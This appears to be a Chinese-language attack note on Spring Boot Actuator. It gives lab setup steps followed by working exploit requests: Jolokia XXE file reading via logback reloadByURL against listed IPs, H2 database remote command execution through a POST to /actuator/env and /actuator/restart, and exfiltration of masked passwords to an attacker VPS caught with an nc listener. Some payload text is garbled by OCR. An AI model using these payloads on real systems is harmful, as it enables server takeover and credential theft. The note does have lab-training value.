Spring Boot是Pivotal团队在Spring的基础上提供的一套全新的开源框架,其目的是为了简化Spring应用的搭建和开发过程。Actuator是SpringBoot自带监控功能Actuator,可以帮助实现对程序内部运行情况监控,比如监控状况、Bean加载情况、环境变量、日志信息、线程信息等
界面特征
/evn
绿色小树叶
常见端口
实际案例
1.x版本http://ip:port/env
2.X版本http://ip:port/actuator/env
环境搭建
https://github.com/veracode-research/actuator-testbed
- mvn install
- mvn spring-boot:run
如何安装mvn(maven)? apt install mvn / yum install maven如何更改mvn源?https://www.cnblogs.com/shunzi115/p/12521630.html
如何使用mvn?
https://www.runoob.com/maven/maven-tutorial.html
批量扫描
https://github.com/rabbitmask/SB-Actuator
漏洞利用——jolokia XXE任意文件读取
是否存在
漏洞利用攻击机
logback.xml
fileread.dtd
python3 -m http.server 8989
http://139.198.109.12:8090/olokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.,jmx.
JMXConfigurator/reloadByURL/http://47.115.9.13:8000!/logback.xml
注意修改攻击机的ip和端口
漏洞利用——rce spring-boot-actuator-h2-rce
-漏洞环境搭建
git clone https://github.com/spaceraccoon/spring-boot-actuator-h2-rce.git
['git连接不上就下载再复制]
cd spring-boot-actuator-h2-rce
docker build -t spaceraccoon/spring-boot-rce-lab.
docker run -p 8080:8080 -t spaceraccoon/spring-boot-rce-lab
浏览器访问
对/actuator/env发POST包
("name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String
shellexec(String cmd) throws java.io.IOException ( java.util.Scanner s = new
java.util.Scanner(Runtime.getRuntime().exec(cmd).getlnputStream()); if (s.hasNext()) (return s.next();} throw
new lllegalArgumentException():)'; CALL EXEC('curl ');"
对/actuator/restart 发POST包
burp自带dnslog平台
查看burp的dnslog平台,可以查看到解析记录
可以执行系统命令
漏洞利用——env敏感信息脱星
漏洞简介
访问/env 接口时,spring actuat&会将一些带有敏感关键词(如password、secret)的属性名对应的属性值用*号替换达到脱敏的效果
GET请求目标网站的/env或/actuator/env 接口,搜索*关键词,找到想要获取的被星号遮掩的属性值对应的属性名。
脱星:网页上一些铭感信息会打上*号
-漏洞利用
spring 1.x:
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUri.defaultZone=http://value:S(security.user.password}@your-vps-ip
spring 2.x:
POST /actuator/env
Content-Type: application/json
("name":"eureka.client.serviceUrl.defaultZone","value":"http://value:S{security.user.password}@your-vps-ip"}
抓取接口信息 修改为post 修改值
刷新配置
攻击机监听端口: nc -lvvp 8000 将Basic base64解码 即可得到明文
base64解密: